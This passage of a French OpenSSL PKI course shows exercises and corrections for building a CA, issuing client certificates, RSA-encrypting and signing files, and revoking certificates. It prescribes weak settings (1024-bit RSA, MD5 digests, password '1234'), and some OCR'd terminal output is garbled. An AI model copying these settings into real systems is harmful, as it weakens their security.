 - Le certificat doit être enregistré dans l'emplacement adéquat : /etc/activite/cacerts ;
 - Noté que lors de la génération du certificat, vous devez conserver les informations du CA par défaut qui ont été configurés précédemment dans le fichier openssl.cnf.
 - 3. Affichez le certificat généré avec la commande cat ;
 - 4. Visualisez le certificat généré en mode graphique.



Étape 3 : Génération des certificats clients

- Cette étape vise à générer les certificats clients qui doivent être signés par un CA.
- Le tableau ci-dessous fournit les commandes nécessaires pour la génération d'un certificat client.

Syntaxe de la commande	Description			
openssl genrsa <-algo> -out <clientpriv.pem> <size></size></clientpriv.pem>	Permet de générer une clé privée clientpriv.pem de taille size et chiffrée avec l'algorithme de chiffrement algo.			
	Permet de générer une requête client, nommé clientrequest.pem en utilisant	-new : combiné avec req permet la génération d'une nouvelle requête.		
openssl req -new -key <clientpriv.pem> -out <clientrequest.pem></clientrequest.pem></clientpriv.pem>	la clé privé clientpriv.pem. Cette requête est générée auprès du CA pour l'obtention d'un certificat client par la suite.	 -key : pointe sur la paire de clés RSA Noté qu'il faut spécifier le chemin (relatif ou absolue) de la clé. 		
		-out : définit le nom du fichier sortant.		
openssl ca -in <clientrequest.pem> -out <clientcertifcate.pem></clientcertifcate.pem></clientrequest.pem>	Permet de générer un certificat client clientcertificate.pem signé par le CA à partir de la requête client clientrequest.pem.			
openssl verify -CAfile <ca_certificate.pem> <clientcertifcate.pem></clientcertifcate.pem></ca_certificate.pem>	Permet de vérifier la validité du certificat client clientcertifcate.pem au près du CA. Sachant que CA_certificate.pem est le certificate du CA.			



Étape 3 : Génération des certificats clients

- Il vous est demandé dans cette étape de réaliser les tâches suivantes :
 - 1. Générez une clé privée pour un client A, tel que
 - Le nom de la clé est : ClientAkey.pem ;
 - La taille de la clé est : 1024 bits ;
 - La clé est chiffrée avec l'algoritghme DES3 ;
 - La clé doit être enregistrée dans l'emplacement adéquat : /etc/activite/private.
 - 2. Générez la requête client, en utilisant la clé privée générée précédemment, tel que :
 - Le nom du fichier contenant la requête est : ClientArequest.pem ;
 - La fichier de la requête doit être enregistrée dans l'emplacement adéquat : /etc/activite/reqs ;
 - Noté que lors de la génération de la requête client, vous devez conserver les informations générales mais il faut saisir certains informations du client. Pour ce faire :
 - Le nom du client doit être saisi dans le champ Common Name. La valeur attribuée peut être ClientB.
 - Le mail du client doit être saisi dans le champ Email Address . La valeur attribuée peut être clientA@gmail.com.



Étape 3 : Génération des certificats clients

- 3. Générez le certificat du client A qui est signé par le CA, en utilisant la requête générée précédemment, tel que :
 - Le nom du certificat est : ClientAcertificate.pem
 - Le certificat doit être enregistré dans l'emplacement adéquat : /etc/activite/certs
- 4. Vérifiez la validité du certificat généré ;
- 5. Affichez le certificat généré avec la commande cat ;
- 6. Visualisez le certificat généré en mode graphique ;
- 7. Répétez les tâches précédentes $(1 \rightarrow 7)$ pour générer un deuxième certificat client pour un client B.



Étape 1 : Configuration du fichier openssl.cnf

La figure ci-	dessous illustre la configura dans le fich	tion finale de la section CA [CA_default] ier openssl.cnf	La figure ci-dessous illustre la configuration finale de la section fichier openssl.cnf	on [req] dans le
<pre>####################################</pre>	<pre>= /etc/activite = \$dir/certs = \$dir/crl = \$dir/index.txt t = no = \$dir/newcerts</pre>	<pre>####################################</pre>	<pre>[req] default_bits = 1024 default_keyfile = privatekey.pem distinguished_name = req_distinguished_name attributes = req_attributes x509_extensions = v3_ca # The extensions to add to the se</pre>	//////////////////////////////////////
certificate serial crlnumber crl private_key x509_extensions	<pre>= \$dir/cacerts/ofpptcac = \$dir/serial = \$dir/crlnumber = \$dir/crl.pem = \$dir/private/ofpptcak s = usr_cert</pre>	# The CA certificate # The current serial number # the current crl number # must be commented out to leave a V1 C> # The current CRL sey.pem# The private key # The extensions to add to the cert		

Activité 4 Correction



Étape 1 : Configuration du fichier openssl.cnf

La figure ci-dessous illustre la configuration finale de la section [req	_distinguished_	name]		
dans le fichier openssl.cnf				

<pre>[req_distinguished_name] countryName countryName_default countryName_min countryName_max</pre>	<pre>= Country Name (2 letter code) = MA = 2 = 2</pre>
stateOrProvinceName	= State or Province Name (full name)
stateOrProvinceName_default	= MAROC
localityName	= Locality Name (eg, city)
localityName_default	=NEW_CITY
0.organizationName	= Organization Name (eg, company)
0.organizationName_default	= OFPPT
<pre># we can do this but it is not #1.organizationName_default</pre>	needed normally :-)#1.organizationName = World Wide Web Pty Ltd
organizationalUnitName	= Organizational Unit Name (eg, section)
organizationalUnitName_default	= SECURITY



Étape 1 : Configuration du fichier openssl.cnf

- La figure suivante illustre le résultats des commandes permettant la création des répertoires activité, sous /etc ainsi que certs, newcerts, cacerts, private, et reqs sous /etc/activite comme configuré dans le fichier openssl.cnf.
- Les commandes exécutées sont les suivantes :
 - cd /etc
 - sudo mkdir activate
 - cd activate
 - sudo mkdir private
 - sudo mkdir certs
 - sudo mkdir newcerts
 - sudo mkdir cacerts
 - sudo mkdir reqs

osboxes@osboxes:~\$ cd /etc/ osboxes@osboxes:/etc\$ sudo mkdir activite osboxes@osboxes:/etc\$ cd activite osboxes@osboxes:/etc/activite\$ sudo mkdir private osboxes@osboxes:/etc/activite\$ sudo mkdir certs osboxes@osboxes:/etc/activite\$ sudo mkdir cacerts osboxes@osboxes:/etc/activite\$ sudo mkdir reqs



Étape 1 : Configuration du fichier openssl.cnf

- Les figures ci-contre illustrent le résultats des commandes permettant la création et l'initialisation des fichiers index.txt et serial.
- Les commandes exécutées sont les suivantes :
 - sudo touch index.txt
 - sudo touch serial
 - sudo su
 - #echo 01 > serial
 - #cat serial

osboxes@osboxes:/etc/activite\$ sudo touch index.txt
osboxes@osboxes:/etc/activite\$ sudo touch serial

root@osboxes:/etc/activite# echo 01 > serial
root@osboxes:/etc/activite# cat serial
01



Étape 2 : Génération d'un certificat auto-signé

1. Pour générer la clé privée pour le CA en respectant l'énoncé, il suffit d'exécuter la commande suivante : sudo openssl genrsa -des3 -out private/ofpptcakey.pem 2048

2. Pour générer le certificat auto-signé du CA, en respectant l'énoncé, il suffit d'exécuter la commande :

sudo openssl req -new -x509 -days 1460 -key private/ofpptcakey.pem -out cacerts/ofpptcacert.pem

osboxes@osboxes:/etc/activite\$ sudo openssl reg -new -x509 -days 1460 -key priva te/ofpptcakey.pem -out cacerts/ofpptcacert.pem Enter pass phrase for private/ofpptcakey.pem: You are about to be asked to enter information that will be incorporated into your certificate request. What you are about to enter is what is called a Distinguished Name or a DN. There are quite a few fields but you can leave some blank For some fields there will be a default value, If you enter '.', the field will be left blank. Country Name (2 letter code) [MA]: State or Province Name (full name) [MAROC]: Locality Name (eg, city) [NEW CITY]: Organization Name (eg, company) [OFPPT]: Organizational Unit Name (eg, section) [SECURITY]: Common Name (e.g. server FQDN or YOUR name) []: Email Address []:



Étape 2 : Génération d'un certificat auto-signé

Le résultat de l'affichage du certificat du CA en exécutant la commande

cat cacerts/ofpptcacert.pem

osboxes@osboxes:/etc/activite\$ cat cacerts/ofpptcacert.pem ----BEGIN CERTIFICATE-----MIIDhzCCAm+gAwIBAgIUYLadggoi74j0zgapxdFMQo3ceEQwDQYJKoZIhvcNAQEL BQAwUzELMAkGA1UEBhMCTUExDjAMBqNVBAqMBU1BUk9DMREwDwYDVQQHDAhORVdf Q01UWTEOMAwGA1UECgwFT0ZQUFQxETAPBgNVBAsMCFNFQ1VSSVRZMB4XDTIyMDMx OTIwMDc0MFoXDTI2MDMx0DIwMDc0MFowUzELMAkGA1UEBhMCTUExDjAMBqNVBAqM BU1BUk9DMREwDwYDVQQHDAhORVdfQ0lUWTE0MAwGA1UECgwFT0ZQUFQxETAPBgNV BAsMCFNFQ1VSSVRZMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA0/03 6oXp+6NBw7sGT/SiPyiEWCRCj4YhBgl70rXt2a7YQeyPFol8HgG6ee4ANUfSGFJH 9hPVnn07S7YC5EI9aNG5lF4JeISGgNlcXsRvdsbSGm5kYySxQFWiy8pgsfmKZthj tyzhaIeV23jLnpjpOnPoh/y6np/vSMMs+wNVQih8+fMYbiC9mLJqqOmAwQUD84/S Su6E8GKbmjq44saCLvw4HEmXVd0eoJoaFBCW00m/WpNJz/o4p5pjtN5CMLaXQ47G vfa+7vD5Gc5nLSo+QviCpDHizAsEnjYwHsct8KRZCkjiidDKrgckissKS1FFQnmm i2zPdAKsRBU9fwtL7QIDAQABo1MwUTAdBqNVHQ4EFqQU9kq44XzWwn2rh5pLu3Fc vi0kT20wHwYDVR0jBBqwFoAU9kq44XzWwn2rh5pLu3Fcyi0kT20wDwYDVR0TA0H/ BAUwAwEB/zANBgkghkiG9w0BAQsFAA0CAQEAL5h0kPg2PUB0rEavB2sHJCghmanM vJPuYIYiyN3cGQTmmhD4FehVppQMSeD8js/W598KPPKaqRRRv4M8e3JvuG/h4nLy 2pcqw5wFJ8IvyDn9Io03EQwYysSlhWv8x5y010jyaHttZK//Pil5eRiX3FSERlSS RDO+dYBCfG7mIRDY7CePcYFcZqG/2q7W/YGeNBWoAjRIBrPnpbdd4rvKEXyjXaA8 1Rxgw+16zw6Zfkf4Xt03Z+dXGh5DLt3EDmQvrwkeRfbmK4IIydSgx0r0EN9y/bHl 5SInKLxv6/ndSBpfJOwlmuPeZQyfjIKM5kWK0C9UXnCz9bkNlHUwXmsWcQ== ----END CERTIFICATE-----

Le résultat de l'affichage du certificat du CA en mode graphique

IA IAROC EW CI							(?
ia Iaroc Ew ci								
FPPT ECURIT	TY							
IA IAROC EW_CI FPPT ECURIT	TY							
0 B6 6 A9 022-03-	9D C5 -19	AA D1	0A 4C	22 42	EF 8D	88 DC	CE 78	CE 44
	ECURIT IA IAROC EW_CI ECURIT ECURIT 0 B6 5 A9 022-03	ECURITY IA IAROC EW_CITY FPPT ECURITY 0 B6 9D 5 A9 C5 022-03-19	ECURITY IA IAROC EW_CITY FPPT ECURITY 0 B6 9D AA 6 A9 C5 D1 D22-03-19	ECURITY IA IAROC EW_CITY FPPT ECURITY 0 B6 9D AA 0A 6 A9 C5 D1 4C 022-03-19	ECURITY IA IAROC EW_CITY FPPT ECURITY 0 B6 9D AA 0A 22 6 A9 C5 D1 4C 42 D22-03-19 Close	ECURITY IA IAROC EW_CITY FPPT ECURITY 0 B6 9D AA 0A 22 EF 6 A9 C5 D1 4C 42 8D D22-03-19 Close	ECURITY IA IAROC EW_CITY FPPT ECURITY 0 B6 9D AA 0A 22 EF 88 6 A9 C5 D1 4C 42 8D DC D22-03-19 Close	ECURITY IA IAROC EW_CITY FPPT ECURITY 0 B6 9D AA 0A 22 EF 88 CE 6 A9 C5 D1 4C 42 8D DC 78 D22-03-19 Close


1. Pour générer la clé privée du client A en respectant l'énoncé, il suffit d'exécuter la commande suivante : sudo openssl genrsa -des3 -out private/ClientAkey.pem 1024

2. Pour générer la requête du client A, en respectant l'énoncé, il suffit d'exécuter la commande :

sudo openssl req -new -key private/ClientAkey.pem -out reqs/ClientArequest.pem

osboxes@osboxes:/etc/activite\$ sudo openssl reg -new -key private/ClientAkey.pem -out reqs/ClientArequest.pem Enter pass phrase for private/ClientAkey.pem: You are about to be asked to enter information that will be incorporated into your certificate request. What you are about to enter is what is called a Distinguished Name or a DN. There are quite a few fields but you can leave some blank For some fields there will be a default value, If you enter '.', the field will be left blank. Country Name (2 letter code) [MA]: State or Province Name (full name) [MAROC]: Locality Name (eg, city) [NEW CITY]: Organization Name (eg, company) [OFPPT]: Organizational Unit Name (eq, section) [SECURITY]: Common Name (e.g. server FQDN or YOUR name) []:ClientA Email Address []:clientA@gmail.com Please enter the following 'extra' attributes to be sent with your certificate request A challenge password []:1234



3. Pour générer le certificat du client A qui est signé par le CA, il suffit d'exécuter la commande suivante :

sudo openssl ca -in reqs/ClientArequest.pem -out certs/ClientAcertificate.pem



PARTIE 3

4. Pour vérifier la validité du certificat généré, il suffit d'exécuter la commande : sudo openssl verify -CAfile cacerts/ofpptcacert.pem certs/ClientAcertificate.pem

osboxes@osboxes:/etc/activite\$ sudo openssl verify -CAfile cacerts/ofpptcacert.p
em certs/ClientAcertificate.pem
certs/ClientAcertificate.pem: 0K



Le résultat de l'affichage du certificat du client A en exécutant la commande :

cat certs/ClientAcertificate.pem

osboxes@osboxes:/etc/activite\$ cat certs/ClientAcertificate.pem
Certificate:
Deta:
Version: 3 (0x2)
Serial Number: 1 (0x1)
Signature Algorithm: sha256WithRSAEncryption
Issuer: C-NA, ST-NAROC, L-NEW CITY, 0-0FPPT, 0U-SECURITY
Validity
Not Before: Mar 19 28:27:28 2022 GMT
Not After : Mar 19 28:27:28 2023 GMT
Subject: C=MA_ST=MAROC_0=0EPPT_0U=SECURITY_CN=ClientA/emailAddress=clientA/amail.com
Subject Public Key Info:
Public Key Algorithm: rsaEncryption
BSA Public-Key: (1024 bit)
Modulus:
00 d 2 coh o 0 c d : 3h : 28 : 40 : c d : 55 : 67 : po : 4 c : 71 : 66 :
55 to 16 10 10 10 10 10 10 10 10 10 10 10 10 10
57 (5 (-0) (0) (0) (0) (0) (-0) (-0) (-0) (-0
52 b1 64 20 12 b4 (b) ca b7 01 (f 1 41 7 6 (5 7 6
00 active (3) (1) (0) (1) (0) (3) (4) (2) (4) (2) (4) (4)
17.60016.17.11.10.10.00.60.15.16.10.10.10.10.10.10.10.10.10.10.10.10.10.
1/:00:30:00:51:11:30:50:15:00:55:07:00:55:07:00:05:
a0(10(0)(0)(20(10(1)))
Exponent: 65537 (0x10001)
X309V3 extensions:
X509V3 Basic Constraints:
UN FALSE
Netscape Comment:
UpenSSL Generated Certificate

Le résultat de l'affichage du certificat du Client A en mode graphique

	ClientAcertificate.pe	m	-	• 😣
ClientA Identity: ClientA Verified by Expires: 03/19/2023				?)
Subject Name C (Country): ST (State): O (Organization): OU (Organizational Unit): CN (Common Name): EMAIL (Email Address):	MA MAROC OFPPT SECURITY ClientA clientA@gmail.com			
Issuer Name C (Country): ST (State): L (Locality): O (Organization): OU (Organizational Unit):	MA MAROC NEW_CITY OFPPT SECURITY			
Issued Certificate Version: Serial Number: Not Valid Before:	3 01 2022-03-19	Close	In	nport

Activité 4	
Correction	



7. Pour générer la clé privée du client B en respectant l'énoncé, il suffit d'exécuter la commande suivante : sudo openssl genrsa -des3 -out private/ClientBkey.pem 1024

osboxes@osboxes:/etc/activite\$ sudo openssl genrsa -des3 -out private/ClientBkey.pem 1024 Generating RSA private key, 1024 bit long modulus (2 primes) ...+++++ e is 65537 (0x010001) Enter pass phrase for private/ClientBkey.pem: Verifying - Enter pass phrase for private/ClientBkey.pem:

8. Pour générer la requête du client B, en respectant l'énoncé, il suffit d'exécuter la commande :

sudo openssl req -new -key private/ClientBkey.pem -out reqs/ClientBrequest.pem

psboxes@osboxes:/etc/activite\$ sudo openssl reg -new -key private/ClientBkey.pem -out regs/ClientBreguest.pe Enter pass phrase for private/ClientBkey.pem: You are about to be asked to enter information that will be incorporated into your certificate request. What you are about to enter is what is called a Distinguished Name or a DN. There are quite a few fields but you can leave some blank For some fields there will be a default value, If you enter '.', the field will be left blank. Country Name (2 letter code) [MA]: State or Province Name (full name) [MAROC]: Locality Name (eg, city) [NEW_CITY]: Organization Name (eg, company) [OFPPT]: Organizational Unit Name (eg, section) [SECURITY]: Common Name (e.g. server FQDN or YOUR name) []:ClientB Email Address []:clientB@gmail.com Please enter the following 'extra' attributes to be sent with your certificate request A challenge password []:1234

 \mathbf{m}



9. Pour générer le certificat du client B qui est signé par le CA, il suffit d'exécuter la commande suivante :

sudo openssl ca -in reqs/ClientBrequest.pem -out certs/ClientBcertificate.pem

osboxes@osboxes:/etc/activite\$ sudo	openssl ca -in reqs/ClientBrequest.pem -out certs/ClientBcertificate.pe
Using configuration from /usr/lib/ss	l/openssl.cnf
Enter pass phrase for /etc/activite/	private/ofpptcakey.pem:
Check that the request matches the s	ignature
Signature ok	
Certificate Details:	
Serial Number: 2 (0x2)	
Validity	
Not Before: Mar 19 20:41	:51 2022 GMT
Not After : Mar 19 20:41	:51 2023 GMT
Subject:	
countryName	- MA
stateOrProvinceName	= MAROC
organizationName	- OFPPT
organizationalUnitName	= SECURITY
commonName	= ClientB
emailAddress	= clientB@gmail.com
X509v3 extensions:	
X509v3 Basic Constraints CA:FALSE	
Netscape Comment: OpenSSL Generated Ce	rtificate
X509v3 Subject Key Ident	ifier:
58:92:48:33:51:05:77	:47:4D:C5:00:01:34:40:1F:83:94:1C:9D:E8
X509v3 Authority Key Ide	ntifier:
keyid:F6:48:38:E1:70	:D6:C2:7D:AB:87:9A:4B:BB:71:5C:CA:23:A4:4F:64
Certificate is to be certified until	Mar 19 20:41:51 2023 GMT (365 days)

10. Pour vérifier la validité du certificat généré, il suffit d'exécuter la commande : sudo openssl verify -CAfile cacerts/ofpptcacert.pem certs/ClientBcertificate.pem

<mark>osboxes@osboxes:/etc/activite</mark>\$ sudo openssl verify -CAfile cacerts/ofpptcacert.p em certs/ClientBcertificate.pem certs/ClientBcertificate.pem: O<u>K</u>



Le résultat de l'affichage du certificat du client B en exécutant la commande :

cat certs/ClientBcertificate.pem

osboxes@osboxes:/etc/activite\$ cat certs/ClientBcertificate.pem Certificate: Data: Version: 3 (0x2) Serial Number: 2 (0x2) Signature Algorithm: sha256WithRSAEncryption Issuer: C=MA, ST=MAROC, L=NEW CITY, O=OFPPT, OU=SECURITY Validity Not Before: Mar 19 20:41:51 2022 GMT Not After : Mar 19 20:41:51 2023 GMT Subject: C=MA, ST=MAROC, 0=OFPPT, OU=SECURITY, CN=ClientB/emailAddress=c lientB@gmail.com Subject Public Key Info: Public Key Algorithm: rsaEncryption RSA Public-Key: (1024 bit) Modulus: 00:bc:0b:d8:a1:5d:a6:4d:09:6c:2c:60:15:e2:14: 33:19:59:c1:42:38:7e:6a:35:cd:28:27:cc:ef:6a: 4c:9d:22:10:8a:1a:7b:e4:90:4f:7a:77:90:3b:75: 14:25:33:33:26:71:68:fb:c4:46:e9:a1:62:27:c4: c4:58:37:07:99:da:44:e9:f2:bb:1e:bb:ba:94:75: a0:17:e7:8b:2b:9a:39:fe:e5:eb:d9:b8:10:39:41: 37:32:7f:18:42:39:dd:c5:8c:be:1f:b2:76:ec:19: 6d:37:15:d3:b6:cd:bc:0d:5e:90:d2:d9:e4:eb:a4:

Le résultat de l'affichage du certificat du Client B en mode graphique





ACTIVITÉ 5

CHIFFREMENT/DÉCHIFFREMENT ASYMÉTRIQUE DES FICHIERS

Compétences visées :

- Chiffrer des fichiers en utilisant l'algorithme de chiffrement asymétrique RSA grâce à OpenSSL
- Déchiffrer des fichiers en utilisant l'algorithme de chiffrement asymétrique RSA grâce à OpenSSL

Recommandations clés :

• Maitriser le principe d'un schéma de chiffrement asymétrique





CONSIGNES

1. Pour le formateur

• L'apprenant doit être capable de chiffrer/déchiffrer des fichiers avec l'algorithme de chiffrement asymétrique RSA en utilisant OpenSSL

2. Pour l'apprenant

- Il est recommandée de maitriser les notions de base d'une PKI
- Il faut utiliser les commandes fournies au début de l'activité
- Il est également recommandé de suivre les étapes décrites dans l'énoncé

3. Conditions de réalisation :

- VirtualBox installé
- Une machine Virtuelle Ubuntu qui a été utilisée dans l'activité 2.
- Réalisation des activités précédentes (2, 3, et 4) avec succès.

4. Critères de réussite :

- Générer un fichier chiffré à partir d'un fichier en claire
- Générer un fichier claire à partir d'un fichier chiffré

Activité 5 Chiffrement/déchiffrement asymétrique des fichiers



Chiffrement/déchiffrement asymétrique des fichiers

- L'objectif principal de cette activité est de chiffrer et déchiffrer un fichier à l'aide d'un certificat numérique et une clé privée, respectivement.
- Le tableau ci-dessous fournit les commandes nécessaires pour la réalisation de cette activité.

Syntaxe de la commande	Description
openssl rsautl -encrypt -in <fichier.txt> -inkey <certificate> -certin -out <fichier.enc></fichier.enc></certificate></fichier.txt>	Chiffre un fichier texte fichier.txt avec la clé publique du certificat certificate. Le fichier chiffré est fichier.enc
openssl rsautl -decrypt -in <fichier.enc> -inkey <keypriv> -out <fichier.dec></fichier.dec></keypriv></fichier.enc>	Déchiffre un fichier fichier.enc avec la clé privée associée au certificat utilisé pour le chiffrement. Le fichier déchiffré est fichier.dec

- A cet effet, il vous est demandé de réaliser les tâches suivantes :
 - 1. Créez un fichier, nommé fichier.txt, qui inclut le texte suivant :

Bonjour tout le monde ! Ce deuxième document est utilisé pour tester le chiffrement/déchiffrement asymétrique avec l'algorithme RSA sous OpenSSL.

- 2. Chiffrez le fichier fichier.txt en utilisant la clé publique du client A. Le fichier chiffré est nommé fichier.enc. Utilisez le certificat du client A généré dans l'activité précédente ;
- 3. Déchiffrez le fichier fichier.enc. Le fichier chiffré est nommé fichier.dec ;
- 4. Vérifiez que les deux fichiers **fichier.txt** et **fichier.dec** contiennent le même contenu.

m



Correction

1. Pour créer le fichier fichier.txt, il suffit d'exécuter la commande sudo nano fichier.txt et de taper le texte. La figure ci-dessous illustre la création du fichier.txt.

GNU nano 5.6.1 fichier.txt Bonjour tout le monde ! Ce deuxième document est utilisé pour tester le chiffrement/déchiffrement asymétrique avec l'algorithme RSA sous OpenSSL.

2. Pour chiffrer le fichier fichier.txt avec la clé publique du client A, il suffit d'exécuter la commande suivante :

sudo openssl rsautl -encrypt -inkey certs/ClientAcertificate.pem -certin -in /home/osboxes/fichier.txt -out /home/osboxes/fichier.enc

3. Pour déchiffrer le fichier fichier.enc avec la clé privée du client A, il suffit d'exécuter la commande suivante :

sudo openssl rsautl -decrypt -inkey private/ClientAkey.pem -in /home/osboxes/fichier.enc -out /home/osboxes/fichier.dec

4. Pour vérifier que les deux fichiers fichier.txt et fichier.dec contiennent le même contenu, il suffit d'exécuter la commande :

diff /home/osboxes/fichier.txt /home/osboxes/fichier.dec

La figure ci-dessous illustre l'exécution des commandes précédentes

osboxes@osboxes:/etc/activite\$ sudo openssl rsautl -encrypt -inkey certs/ClientAcertificate.pem -certin -in /home/osboxes/fichier.txt -out /home/osboxes/fichier.enc osboxes@osboxes:/etc/activite\$ sudo openssl rsautl -decrypt -inkey private/ClientAkey.pem -in /home/osboxes/ fichier.enc -out /home/osboxes/fichier.dec Enter pass phrase for private/ClientAkey.pem: osboxes@osboxes:/etc/activite\$ diff /home/osboxes/fichier.txt /home/osboxes/fichier.dec



ACTIVITÉ 6 SIGNATURE DES FICHIERS

Compétences visées :

• Réaliser la signature numérique d'un fichier

Recommandations clés :

• Maitriser le principe du signature numérique





CONSIGNES

1. Pour le formateur

- L'apprenant doit être capable de générer les empreintes des fichiers et les signer en utilisant OpenSSL
- Il doit être également capable de vérifier la signature d'un fichier

2. Pour l'apprenant

- Il est recommandée de maitriser les notions de base d'une PKI
- Il faut utiliser les commandes fournies au début de l'activité
- Il est également recommandé de suivre les étapes décrites dans l'énoncé

3. Conditions de réalisation :

- VirtualBox installé
- Une machine Virtuelle Ubuntu qui a été utilisée dans l'activité 2.
- Réalisation des activités précédentes (2, 3, 4, et 5) avec succès.

4. Critères de réussite :

- Générer avec succès une empreinte d'un fichier
- Signer un fichier avec succès
- Vérifier la signature d'un fichier avec succès

Activité 6 Signature des fichiers



- L'objectif principal de cette activité est de signer un fichier et vérifier un fichier signé à l'aide d' une clé privée et un certificat numérique, respectivement.
- Le tableau ci-dessous fournit les commandes nécessaires pour la réalisation de cette activité.

Syntaxe de la commande	Description
openssl dgst <-hachfunction > -out <fingerprint> <fichier.txt></fichier.txt></fingerprint>	Calcule l'empreinte numérique d'un fichier fichier.txt à l'aide d'une fonction de hachage hachfunction. L'empreinte est enregistrée dans un fichier fingerprint.
openssl rsautl -sign -in <fingerprint> -inkey <key> -out <signature></signature></key></fingerprint>	Signe un fichier à partir de son empreinte fingerprint et en utilisant la clé privée key . Le fichier signé est nommé signature.
openssl rsautl -verify -in <signature> -inkey <certificate> -certin -out <fingerprint></fingerprint></certificate></signature>	Vérifie la signature en calculant l'empreinte fingerprint à partir d'un fichier signé signature en utilisant une certificat numérique certificate .

- A cet effet, il vous est demandé de réaliser les tâches suivantes :
 - 1. Calculez l'empreinte du fichier fichier.txt en utilisant comme fonction de hachage MD5. L'empreinte est enregistré dans un fichier nommé empreinte ;
 - 2. Signez le fichier fichier.txt en utilisant son empreinte numérique empreinte et la clé privé du client A généré dans l'activité 4. Le fichier signé est nommé signature ;
 - 3. Vérifiez le fichier signé signature en calculant son empreinte nommé empreinte 2 et en utilisant le certificat numérique du client A généré dans l'activité 4 ;
 - 4. Vérifiez que les deux empreintes empreinte et empreinte2 contiennent le même contenu.



Correction

- 1. Pour calculer l'empreinte du fichier fichier.txt en utilisant comme fonction de hachage MD5, il suffit d'exécuter la commande suivante : sudo openssl dgst -MD5 -out empreinte fichier.txt
- 2. Pour signer le fichier fichier.txt en utilisant son empreinte numérique empreinte et la clé privé du client A, , il suffit d'exécuter la commande suivante : sudo openssl rsautl -sign -in empreinte -inkey /etc/activite/private/ClientAkey.pem -out signature
- 3. Pour vérifier le fichier signé en calculant son empreinte nommé empreinte 2 et en utilisant le certificat numérique du client, il suffit d'exécuter la commande suivante : sudo openssl rsautl -verify -in signature -inkey /etc/activite/certs/ClientAcertificate.pem -certin -out empreinte2
- 4. Pour vérifier que les deux empreintes empreinte et empreinte2 contiennent le même contenu, , il suffit d'exécuter la commande : sudo diff empreinte empreinte2

Les résultats de l'exécution des commandes précédentes sont illustrés dans la figure ci-dessous

osboxes@osboxes:~\$ sudo openssl dgst -MD5 -out empreinte fichier.txt
osboxes@osboxes:~\$ sudo tail empreinte
MD5(fichier.txt)= e670a0148347440f55c6f5bf02c75a7c
osboxes@osboxes:~\$ sudo openssl rsautl -sign -in empreinte -inkey /etc/activite/private/ClientAkey.pem -o
ut signature
Enter pass phrase for /etc/activite/private/ClientAkey.pem:
osboxes@osboxes:~\$ sudo tail signature
00t0V;000E05oE0on0T0iE0m0]c0Gn000V+E0:0nK 002<00JP`00000Hi″~00000Wi
00p{R@i000'0000*\0\$hN01000%0tT0000
A#osboxes@osboxes:~\$
<pre>osboxes@osboxes:~\$ sudo openssl rsautl -verify -in signature -inkey /etc/activite/certs/ClientAcertificat</pre>
e.pem -certin -out empreinte2
<pre>osboxes@osboxes:~\$ sudo tail empreinte2</pre>
MD5(fichier.txt)= e670a0148347440f55c6f5bf02c75a7c
osboxes@osboxes:~\$ diff empreinte empreinte2
osboxes@osboxes:~\$



ACTIVITÉ 7

GESTION DU CRL (CERTIFICATE LISTE REVOCATION)

Compétences visées :

• Révoquer un certificat numérique

Recommandations clés :

- Maitriser le principe des certificats numériques
- Maitriser les notions de base d'une PKI





CONSIGNES

1. Pour le formateur

• L'apprenant doit être capable de révoquer un certificat numérique

2. Pour l'apprenant

- Il est recommandée de maitriser les notions de base d'une PKI
- Il faut utiliser les commandes fournies au début de l'activité
- Il est également recommandé de suivre les étapes décrites dans l'énoncé

3. Conditions de réalisation :

- VirtualBox installé
- Une machine Virtuelle Ubuntu qui a été utilisée dans l'activité 2.
- Réalisation des activités précédentes (2, 3, 4, 5, et 6) avec succès.

4. Critères de réussite :

• Révoquer un certificat numérique avec succès

Activité 7 Gestion du CRL (Certificate Liste Revocation)



Gestion du CRL (Certificate Liste Revocation)

- Cette activité vise à générer une liste de révocation de certificat (CRL) et révoquer un certificat.
- Le tableau ci-dessous fournit les commandes nécessaires pour la réalisation de cette activité.

Syntaxe de la commande	Description
openssl ca -gencrl -keyfile <capriv.pem> -cert <ca_certificate.pem> -out <crl_file></crl_file></ca_certificate.pem></capriv.pem>	Génère une première CRL vide, nommée crl_file, grâce à l'option -gencrl
openssl ca -revoke <certificate> -keyfile <capriv.pem> -cert <ca_certificate.pem></ca_certificate.pem></capriv.pem></certificate>	Révoque un certificat client certificate.

- A cet effet, il vous est demandé de réaliser les tâches suivantes :
 - 1. Préparez l'environnement de travail en :
 - Créant un répertoire crl sous le chemin /etc/activite
 - Créant un fichier **crlnumber** sous le chemin **/etc/activite** et l'initialisant à **01**.
 - 2. Générez une une première CRL vide, nommée CRL. Utilisez la clé privée et le certificat du CA qui ont été généré dans l'activité 4 ;
 - 3. Révoquez le certificat du client B qui a été créé dans l'activité 4 ;
 - 4. Afficher le contenu du fichier **crlnumber**.



Correction

- 1. Pour préparer l'environnement de travail, il suffit d'exécuter les commandes suivantes :
 - cd /etc/activite
 - sudo mkdir crl
 - sudo touch crinumber
 - sudo su
 - echo 01 > crlnumber
 - exit

osboxes@osboxes:/etc/activite\$ cd /etc/activite/
osboxes@osboxes:/etc/activite\$ sudo mkdir crl

osboxes@osboxes:/etc/activite\$ sudo touch crlnumber osboxes@osboxes:/etc/activite\$ sudo su root@osboxes:/etc/activite# echo 01 > crlnumber root@osboxes:/etc/activite# exit exit

2. Pour générer une une première CRL vide, nommée CRL, exécutez la commande suivante :

sudo openssl ca -gencrl -keyfile private/ofpptcakey.pem -cert cacerts/ofpptcacert.pem -out CRL

osboxes@osboxes:/etc/activite\$ sudo openssl ca -gencrl -keyfile private/ofpptcakey.pem -cert cacerts/ofpp tcacert.pem -out crl/CRL Using configuration from /usr/lib/ssl/openssl.cnf Enter pass phrase for private/ofpptcakey.pem: enterpass phrase for private/ofpptcakey.pem:



Correction

3. Pour révoquer le certificat du client B, exécutez la commande suivante:

sudo openssl ca -revoke certs/ClientBcertificate.pem -keyfile private/ofpptcakey.pem -cert cacerts/ofpptcacert.pem

osboxes@osboxes:/etc/activite\$ sudo openssl ca -revoke certs/ClientBcertificate.pem -keyfile private/ofpp tcakey.pem -cert cacerts/ofpptcacert.pem Using configuration from /usr/lib/ssl/openssl.cnf Enter pass phrase for private/ofpptcakey.pem: Revoking Certificate 02. Data Base Updated

4. Pour Afficher le contenu du fichier crlnumber, exécutez la commande : sudo tail crlnumber

osboxes@osboxes:/etc/activite\$ tail crlnumber
02



PARTIE 4 S'INITIER À L'AUDIT DE SÉCURITÉ DES SI

Dans ce module, vous allez :

